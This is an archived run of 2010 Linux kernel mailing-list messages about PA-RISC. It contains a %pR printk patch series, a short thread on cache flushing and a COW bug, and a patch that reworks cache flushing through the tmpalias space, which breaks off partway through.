Cc: Randy Dunlap <randy.dunlap@oracle.com>,
	linux-kernel@vger.kernel.org, alsa-devel@alsa-project.org
To: linux-parisc@vger.kernel.org, linux-fbdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 13 22:42:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PSGA7-0004hv-Oa
	for glpp-linux-parisc@lo.gmane.org; Mon, 13 Dec 2010 22:42:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755994Ab0LMVm0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Dec 2010 16:42:26 -0500
Original-Received: from mail.perches.com ([173.55.12.10]:2565 "EHLO mail.perches.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751246Ab0LMVm0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Dec 2010 16:42:26 -0500
Original-Received: from Joe-Laptop.home (unknown [192.168.1.162])
	by mail.perches.com (Postfix) with ESMTP id 6B44824368;
	Mon, 13 Dec 2010 13:42:24 -0800 (PST)
X-Mailer: git-send-email 1.7.3.3.398.g0b0cd.dirty
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3288 gmane.linux.kernel:1076405 gmane.linux.alsa.devel:80053
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3288>

Joe Perches (5):
  ste_dma40.c: Use vsprintf extension %pR for struct resource
  lba_pci.c: Use vsprintf extension %pR for struct resource
  samsung.c: Use vsprintf extension %pR for struct resource
  mx3fb.c: Use vsprintf extension %pR for struct resource
  ml403-ac97cr.c: Use vsprintf extension %pR for struct resource

 drivers/dma/ste_dma40.c      |    5 ++---
 drivers/parisc/lba_pci.c     |   13 +++++--------
 drivers/serial/samsung.c     |    2 +-
 drivers/video/mx3fb.c        |    3 +--
 sound/drivers/ml403-ac97cr.c |    4 ++--
 5 files changed, 11 insertions(+), 16 deletions(-)

-- 
1.7.3.3.398.g0b0cd.dirty

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 2/5] parisc: lba_pci: Use vsprintf extension %pR for struct resource
Date: Mon, 13 Dec 2010 13:42:19 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <681d00d0482c5c1e030c88e3e3522b9ca90bd871.1292276119.git.joe@perches.com>
References: <cover.1292276119.git.joe@perches.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1292276586 18522 80.91.229.12 (13 Dec 2010 21:43:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Dec 2010 21:43:06 +0000 (UTC)
Cc: Randy Dunlap <randy.dunlap@oracle.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Dec 13 22:43:01 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1PSGAf-00052W-Ge
	for glk-linux-kernel-3@lo.gmane.org; Mon, 13 Dec 2010 22:43:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757576Ab0LMVma (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 13 Dec 2010 16:42:30 -0500
Original-Received: from mail.perches.com ([173.55.12.10]:2572 "EHLO mail.perches.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751246Ab0LMVm2 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 13 Dec 2010 16:42:28 -0500
Original-Received: from Joe-Laptop.home (unknown [192.168.1.162])
	by mail.perches.com (Postfix) with ESMTP id 800212436C;
	Mon, 13 Dec 2010 13:42:26 -0800 (PST)
X-Mailer: git-send-email 1.7.3.3.398.g0b0cd.dirty
In-Reply-To: <cover.1292276119.git.joe@perches.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1076407 gmane.linux.ports.parisc:3289
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1076407>

Signed-off-by: Joe Perches <joe@perches.com>
---
 drivers/parisc/lba_pci.c |   13 +++++--------
 1 files changed, 5 insertions(+), 8 deletions(-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 3aeb327..b1b6644 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -749,24 +749,21 @@ lba_fixup_bus(struct pci_bus *bus)
 				continue;
 
 			if (res->flags & IORESOURCE_IO) {
-				DBG("lba_fixup_bus() I/O Ports [%lx/%lx] -> ",
-					res->start, res->end);
+				DBG("lba_fixup_bus() I/O Ports [%pR] -> ", res);
 				res->start |= lba_portbase;
 				res->end   |= lba_portbase;
-				DBG("[%lx/%lx]\n", res->start, res->end);
+				DBG("[%pR]\n", res);
 			} else if (res->flags & IORESOURCE_MEM) {
 				/*
 				** Convert PCI (IO_VIEW) addresses to
 				** processor (PA_VIEW) addresses
 				 */
-				DBG("lba_fixup_bus() MMIO [%lx/%lx] -> ",
-					res->start, res->end);
+				DBG("lba_fixup_bus() MMIO [%pR] -> ", res);
 				res->start = PCI_HOST_ADDR(HBA_DATA(ldev), res->start);
 				res->end   = PCI_HOST_ADDR(HBA_DATA(ldev), res->end);
-				DBG("[%lx/%lx]\n", res->start, res->end);
+				DBG("[%pR]\n", res);
 			} else {
-				DBG("lba_fixup_bus() WTF? 0x%lx [%lx/%lx] XXX",
-					res->flags, res->start, res->end);
+				DBG("lba_fixup_bus() WTF? [%pR] XXX", res);
 			}
 
 			/*
-- 
1.7.3.3.398.g0b0cd.dirty


From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Sat, 18 Dec 2010 15:13:21 -0500
Organization: nrc.ca
Lines: 25
Approved: news@gmane.org
Message-ID: <20101218201320.GA11202@hiauly1.hia.nrc.ca>
References: <20101024020337.725094D30@hiauly1.hia.nrc.ca> <alpine.DEB.1.10.1010240432390.30241@artax.karlin.mff.cuni.cz> <20101024034314.GQ8332@bombadil.infradead.org> <alpine.DEB.1.10.1010260404260.6982@artax.karlin.mff.cuni.cz>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1292703209 16203 80.91.229.12 (18 Dec 2010 20:13:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 18 Dec 2010 20:13:29 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 18 21:13:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PU39g-0008GR-QE
	for glpp-linux-parisc@lo.gmane.org; Sat, 18 Dec 2010 21:13:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932126Ab0LRUNY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 18 Dec 2010 15:13:24 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1883 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932083Ab0LRUNX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 18 Dec 2010 15:13:23 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B26824FED; Sat, 18 Dec 2010 15:13:21 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.1.10.1010260404260.6982@artax.karlin.mff.cuni.cz>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3291
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3291>

On Tue, 26 Oct 2010, Mikulas Patocka wrote:

> > our cache flushing is a bit... suboptimal right now (doing whole cache
> > flushes on fork and such.)
> 
> What is exactly the problem there? Could you describe it or refer to some 
> document that describes it? Why do you need to flush on fork?

Discussed here:
http://lkml.org/lkml/2003/12/15/244

Flush should not be needed according to Lamont.

However COW handling is broken.  See minifail bug on wiki:
http://wiki.parisc-linux.org/TestCases

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: flush pages through tmpalias space
Date: Wed, 22 Dec 2010 10:22:11 -0600
Lines: 840
Approved: news@gmane.org
Message-ID: <1293034931.3019.8.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1293034958 27672 80.91.229.12 (22 Dec 2010 16:22:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 22 Dec 2010 16:22:38 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 22 17:22:33 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PVRSS-0005Ef-Hp
	for glpp-linux-parisc@lo.gmane.org; Wed, 22 Dec 2010 17:22:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753552Ab0LVQWQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Dec 2010 11:22:16 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:39293 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753478Ab0LVQWP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Dec 2010 11:22:15 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id EE15A8EE0F4
	for <linux-parisc@vger.kernel.org>; Wed, 22 Dec 2010 08:22:14 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pk2AdywMAAmN for <linux-parisc@vger.kernel.org>;
	Wed, 22 Dec 2010 08:22:14 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id EB2D88EE0DB
	for <linux-parisc@vger.kernel.org>; Wed, 22 Dec 2010 08:22:13 -0800 (PST)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3292
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3292>

The kernel has an 8M tmpailas space (originally designed for copying
and clearing pages but now only used for clearing).  The idea is
to place zeros into the cache above a physical page rather than into
the physical page and flush the cache, because often the zeros end up
being replaced quickly anyway.

We can also use the tmpalias space for flushing a page.  The difference
here is that we have to do tmpalias processing in the non access data and
instruction traps.  The principle is the same: as long as we know the physical
address and have a virtual address congruent to the real one, the flush will
be effective.

In order to use the tmpalias space, the icache miss path has to be enhanced to
check for the alias region to make the fic instruction effective.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
---
 arch/parisc/include/asm/cacheflush.h |    7 +-
 arch/parisc/kernel/cache.c           |  109 +++-------------
 arch/parisc/kernel/entry.S           |  194 ++++++++++++++++++++-------
 arch/parisc/kernel/pacache.S         |  245 +++++++++++++++-------------------
 4 files changed, 272 insertions(+), 283 deletions(-)

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index f388a85..dc9286a 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -26,8 +26,6 @@ void flush_user_dcache_range_asm(unsigned long, unsigned long);
 void flush_kernel_dcache_range_asm(unsigned long, unsigned long);
 void flush_kernel_dcache_page_asm(void *);
 void flush_kernel_icache_page(void *);
-void flush_user_dcache_page(unsigned long);
-void flush_user_icache_page(unsigned long);
 void flush_user_dcache_range(unsigned long, unsigned long);
 void flush_user_icache_range(unsigned long, unsigned long);
 
@@ -90,12 +88,15 @@ void flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end);
 
+/* defined in pacache.S exported in cache.c used by flush_anon_page */
+void flush_dcache_page_asm(unsigned long phys_addr, unsigned long vaddr);
+
 #define ARCH_HAS_FLUSH_ANON_PAGE
 static inline void
 flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vmaddr)
 {
 	if (PageAnon(page))
-		flush_user_dcache_page(vmaddr);
+		flush_dcache_page_asm(page_to_phys(page), vmaddr);
 }
 
 #define ARCH_HAS_FLUSH_KERNEL_DCACHE_PAGE
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index d054f3d..3f11331 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -27,12 +27,17 @@
 #include <asm/pgalloc.h>
 #include <asm/processor.h>
 #include <asm/sections.h>
+#include <asm/shmparam.h>
 
 int split_tlb __read_mostly;
 int dcache_stride __read_mostly;
 int icache_stride __read_mostly;
 EXPORT_SYMBOL(dcache_stride);
 
+void flush_dcache_page_asm(unsigned long phys_addr, unsigned long vaddr);
+EXPORT_SYMBOL(flush_dcache_page_asm);
+void flush_icache_page_asm(unsigned long phys_addr, unsigned long vaddr);
+
 
 /* On some machines (e.g. ones with the Merced bus), there can be
  * only a single PxTLB broadcast at a time; this must be guaranteed
@@ -259,81 +264,13 @@ void disable_sr_hashing(void)
 		panic("SpaceID hashing is still on!\n");
 }
 
-/* Simple function to work out if we have an existing address translation
- * for a user space vma. */
-static inline int translation_exists(struct vm_area_struct *vma,
-				unsigned long addr, unsigned long pfn)
-{
-	pgd_t *pgd = pgd_offset(vma->vm_mm, addr);
-	pmd_t *pmd;
-	pte_t pte;
-
-	if(pgd_none(*pgd))
-		return 0;
-
-	pmd = pmd_offset(pgd, addr);
-	if(pmd_none(*pmd) || pmd_bad(*pmd))
-		return 0;
-
-	/* We cannot take the pte lock here: flush_cache_page is usually
-	 * called with pte lock already held.  Whereas flush_dcache_page
-	 * takes flush_dcache_mmap_lock, which is lower in the hierarchy:
-	 * the vma itself is secure, but the pte might come or go racily.
-	 */
-	pte = *pte_offset_map(pmd, addr);
-	/* But pte_unmap() does nothing on this architecture */
-
-	/* Filter out coincidental file entries and swap entries */
-	if (!(pte_val(pte) & (_PAGE_FLUSH|_PAGE_PRESENT)))
-		return 0;
-
-	return pte_pfn(pte) == pfn;
-}
-
-/* Private function to flush a page from the cache of a non-current
- * process.  cr25 contains the Page Directory of the current user
- * process; we're going to hijack both it and the user space %sr3 to
- * temporarily make the non-current process current.  We have to do
- * this because cache flushing may cause a non-access tlb miss which
- * the handlers have to fill in from the pgd of the non-current
- * process. */
 static inline void
-flush_user_cache_page_non_current(struct vm_area_struct *vma,
-				  unsigned long vmaddr)
+__flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
+		   unsigned long physaddr)
 {
-	/* save the current process space and pgd */
-	unsigned long space = mfsp(3), pgd = mfctl(25);
-
-	/* we don't mind taking interrupts since they may not
-	 * do anything with user space, but we can't
-	 * be preempted here */
-	preempt_disable();
-
-	/* make us current */
-	mtctl(__pa(vma->vm_mm->pgd), 25);
-	mtsp(vma->vm_mm->context, 3);
-
-	flush_user_dcache_page(vmaddr);
-	if(vma->vm_flags & VM_EXEC)
-		flush_user_icache_page(vmaddr);
-
-	/* put the old current process back */
-	mtsp(space, 3);
-	mtctl(pgd, 25);
-	preempt_enable();
-}
-
-
-static inline void
-__flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
-{
-	if (likely(vma->vm_mm->context == mfsp(3))) {
-		flush_user_dcache_page(vmaddr);
-		if (vma->vm_flags & VM_EXEC)
-			flush_user_icache_page(vmaddr);
-	} else {
-		flush_user_cache_page_non_current(vma, vmaddr);
-	}
+	flush_dcache_page_asm(physaddr, vmaddr);
+	if (vma->vm_flags & VM_EXEC)
+		flush_icache_page_asm(physaddr, vmaddr);
 }
 
 void flush_dcache_page(struct page *page)
@@ -342,10 +279,8 @@ void flush_dcache_page(struct page *page)
 	struct vm_area_struct *mpnt;
 	struct prio_tree_iter iter;
 	unsigned long offset;
-	unsigned long addr;
+	unsigned long addr, old_addr = 0;
 	pgoff_t pgoff;
-	unsigned long pfn = page_to_pfn(page);
-
 
 	if (mapping && !mapping_mapped(mapping)) {
 		set_bit(PG_dcache_dirty, &page->flags);
@@ -369,20 +304,11 @@ void flush_dcache_page(struct page *page)
 		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
 		addr = mpnt->vm_start + offset;
 
-		/* Flush instructions produce non access tlb misses.
-		 * On PA, we nullify these instructions rather than
-		 * taking a page fault if the pte doesn't exist.
-		 * This is just for speed.  If the page translation
-		 * isn't there, there's no point exciting the
-		 * nadtlb handler into a nullification frenzy.
-		 *
-		 * Make sure we really have this page: the private
-		 * mappings may cover this area but have COW'd this
-		 * particular page.
-		 */
-  		if (translation_exists(mpnt, addr, pfn)) {
-			__flush_cache_page(mpnt, addr);
-			break;
+		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
+			__flush_cache_page(mpnt, addr, page_to_phys(page));
+			if (old_addr)
+				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
+			old_addr = addr;
 		}
 	}
 	flush_dcache_mmap_unlock(mapping);
@@ -573,7 +499,6 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 {
 	BUG_ON(!vma->vm_mm->context);
 
-	if (likely(translation_exists(vma, vmaddr, pfn)))
-		__flush_cache_page(vma, vmaddr);
+	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 6337ade..564606d 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -225,22 +225,13 @@
 #ifndef CONFIG_64BIT
 	/*
 	 * naitlb miss interruption handler (parisc 1.1 - 32 bit)
-	 *
-	 * Note: naitlb misses will be treated
-	 * as an ordinary itlb miss for now.
-	 * However, note that naitlb misses
-	 * have the faulting address in the
-	 * IOR/ISR.
 	 */
 
 	.macro	naitlb_11 code
 
 	mfctl	%isr,spc
-	b	itlb_miss_11
+	b	naitlb_miss_11
 	mfctl 	%ior,va
-	/* FIXME: If user causes a naitlb miss, the priv level may not be in
-	 * lower bits of va, where the itlb miss handler is expecting them
-	 */
 
 	.align		32
 	.endm
@@ -248,26 +239,17 @@
 	
 	/*
 	 * naitlb miss interruption handler (parisc 2.0)
-	 *
-	 * Note: naitlb misses will be treated
-	 * as an ordinary itlb miss for now.
-	 * However, note that naitlb misses
-	 * have the faulting address in the
-	 * IOR/ISR.
 	 */
 
 	.macro	naitlb_20 code
 
 	mfctl	%isr,spc
 #ifdef CONFIG_64BIT
-	b       itlb_miss_20w
+	b       naitlb_miss_20w
 #else
-	b	itlb_miss_20
+	b	naitlb_miss_20
 #endif
 	mfctl 	%ior,va
-	/* FIXME: If user causes a naitlb miss, the priv level may not be in
-	 * lower bits of va, where the itlb miss handler is expecting them
-	 */
 
 	.align		32
 	.endm
@@ -581,7 +563,24 @@
 	copy		\va,\tmp1
 	depi		0,31,23,\tmp1
 	cmpb,COND(<>),n	\tmp,\tmp1,\fault
-	ldi		(_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),\prot
+	mfctl		%cr19,\tmp	/* iir */
+	/* get the opcode (first six bits) into \tmp */
+	extrw,u		\tmp,5,6,\tmp
+	/*
+	 * Only setting the T bit prevents data cache movein
+	 * Setting access rights to zero prevents instruction cache movein
+	 *
+	 * Note subtlety here: _PAGE_GATEWAY, _PAGE_EXEC and _PAGE_WRITE go
+	 * to type field and _PAGE_READ goes to top bit of PL1
+	 */ 
+	ldi		(_PAGE_REFTRAP|_PAGE_READ|_PAGE_WRITE),\prot
+	/*
+	 * so if the opcode is one (i.e. this is a memory management
+	 * instruction) nullify the next load so \prot is only T.
+	 * Otherwise this is a normal data operation
+	 */ 
+	cmpiclr,=	0x01,\tmp,%r0
+	ldi		(_PAGE_DIRTY|_PAGE_READ|_PAGE_WRITE),\prot
 	depd,z		\prot,8,7,\prot
 	/*
 	 * OK, it is in the temp alias region, check whether "from" or "to".
@@ -631,11 +630,7 @@ ENTRY(fault_vector_20)
 	def		13
 	def		14
 	dtlb_20		15
-#if 0
 	naitlb_20	16
-#else
-	def             16
-#endif
 	nadtlb_20	17
 	def		18
 	def		19
@@ -678,11 +673,7 @@ ENTRY(fault_vector_11)
 	def		13
 	def		14
 	dtlb_11		15
-#if 0
 	naitlb_11	16
-#else
-	def             16
-#endif
 	nadtlb_11	17
 	def		18
 	def		19
@@ -1203,7 +1194,7 @@ nadtlb_miss_20w:
 	get_pgd		spc,ptp
 	space_check	spc,t0,nadtlb_fault
 
-	L3_ptep		ptp,pte,t0,va,nadtlb_check_flush_20w
+	L3_ptep		ptp,pte,t0,va,nadtlb_check_alias_20w
 
 	update_ptep	ptp,pte,t0,t1
 
@@ -1214,6 +1205,14 @@ nadtlb_miss_20w:
 	rfir
 	nop
 
+nadtlb_check_alias_20w:
+	do_alias	spc,t0,t1,va,pte,prot,nadtlb_check_flush_20w
+
+	idtlbt          pte,prot
+
+	rfir
+	nop
+
 nadtlb_check_flush_20w:
 	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
 
@@ -1255,25 +1254,7 @@ dtlb_miss_11:
 	nop
 
 dtlb_check_alias_11:
-
-	/* Check to see if fault is in the temporary alias region */
-
-	cmpib,<>,n      0,spc,dtlb_fault /* forward */
-	ldil            L%(TMPALIAS_MAP_START),t0
-	copy            va,t1
-	depwi           0,31,23,t1
-	cmpb,<>,n       t0,t1,dtlb_fault /* forward */
-	ldi             (_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),prot
-	depw,z          prot,8,7,prot
-
-	/*
-	 * OK, it is in the temp alias region, check whether "from" or "to".
-	 * Check "subtle" note in pacache.S re: r23/r26.
-	 */
-
-	extrw,u,=       va,9,1,r0
-	or,tr           %r23,%r0,pte    /* If "from" use "from" page */
-	or              %r26,%r0,pte    /* else "to", use "to" page  */
+	do_alias	spc,t0,t1,va,pte,prot,dtlb_fault
 
 	idtlba          pte,(va)
 	idtlbp          prot,(va)
@@ -1286,7 +1267,7 @@ nadtlb_miss_11:
 
 	space_check	spc,t0,nadtlb_fault
 
-	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_11
+	L2_ptep		ptp,pte,t0,va,nadtlb_check_alias_11
 
 	update_ptep	ptp,pte,t0,t1
 
@@ -1304,6 +1285,15 @@ nadtlb_miss_11:
 	rfir
 	nop
 
+nadtlb_check_alias_11:
+	do_alias	spc,t0,t1,va,pte,prot,nadtlb_check_flush_11
+
+	idtlba          pte,(va)
+	idtlbp          prot,(va)
+
+	rfir
+	nop
+
 nadtlb_check_flush_11:
 	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
 
@@ -1359,7 +1349,7 @@ nadtlb_miss_20:
 
 	space_check	spc,t0,nadtlb_fault
 
-	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_20
+	L2_ptep		ptp,pte,t0,va,nadtlb_check_alias_20
 
 	update_ptep	ptp,pte,t0,t1
 
@@ -1372,6 +1362,14 @@ nadtlb_miss_20:
 	rfir
 	nop
 
+nadtlb_check_alias_20:
+	do_alias	spc,t0,t1,va,pte,prot,nadtlb_check_flush_20
+	
+	idtlbt          pte,prot
+
+	rfir
+	nop
+
 nadtlb_check_flush_20:
 	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
 
@@ -1484,6 +1482,36 @@ itlb_miss_20w:
 	rfir
 	nop
 
+naitlb_miss_20w:
+
+	/*
+	 * I miss is a little different, since we allow users to fault
+	 * on the gateway page which is in the kernel address space.
+	 */
+
+	space_adjust	spc,va,t0
+	get_pgd		spc,ptp
+	space_check	spc,t0,naitlb_fault
+
+	L3_ptep		ptp,pte,t0,va,naitlb_check_alias_20w
+
+	update_ptep	ptp,pte,t0,t1
+
+	make_insert_tlb	spc,pte,prot
+	
+	iitlbt          pte,prot
+
+	rfir
+	nop
+
+naitlb_check_alias_20w:
+	do_alias	spc,t0,t1,va,pte,prot,naitlb_fault
+
+	iitlbt		pte,prot
+
+	rfir
+	nop
+
 #else
 
 itlb_miss_11:
@@ -1508,6 +1536,38 @@ itlb_miss_11:
 	rfir
 	nop
 
+naitlb_miss_11:
+	get_pgd		spc,ptp
+
+	space_check	spc,t0,naitlb_fault
+
+	L2_ptep		ptp,pte,t0,va,naitlb_check_alias_11
+
+	update_ptep	ptp,pte,t0,t1
+
+	make_insert_tlb_11	spc,pte,prot
+
+	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
+	mtsp		spc,%sr1
+
+	iitlba		pte,(%sr1,va)
+	iitlbp		prot,(%sr1,va)
+
+	mtsp		t0, %sr1	/* Restore sr1 */
+
+	rfir
+	nop
+
+naitlb_check_alias_11:
+	do_alias	spc,t0,t1,va,pte,prot,itlb_fault
+
+	iitlba          pte,(%sr0, va)
+	iitlbp          prot,(%sr0, va)
+
+	rfir
+	nop
+	
+
 itlb_miss_20:
 	get_pgd		spc,ptp
 
@@ -1526,6 +1586,32 @@ itlb_miss_20:
 	rfir
 	nop
 
+naitlb_miss_20:
+	get_pgd		spc,ptp
+
+	space_check	spc,t0,naitlb_fault
+
+	L2_ptep		ptp,pte,t0,va,naitlb_check_alias_20
+
+	update_ptep	ptp,pte,t0,t1
+
+	make_insert_tlb	spc,pte,prot
+
+	f_extend	pte,t0	
+
+	iitlbt          pte,prot
+
+	rfir
+	nop
+
+naitlb_check_alias_20:
+	do_alias	spc,t0,t1,va,pte,prot,naitlb_fault
+	
+	iitlbt          pte,prot
+
+	rfir
+	nop
+
 #endif
 
 #ifdef CONFIG_64BIT
@@ -1662,6 +1748,10 @@ nadtlb_fault:
 	b               intr_save
 	ldi             17,%r8
 
+naitlb_fault:
+	b               intr_save
+	ldi             16,%r8
+
 dtlb_fault:
 	b               intr_save
 	ldi             15,%r8
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 09b77b2..881b287 100644
--- a/arch/parisc/kernel/pacache.S
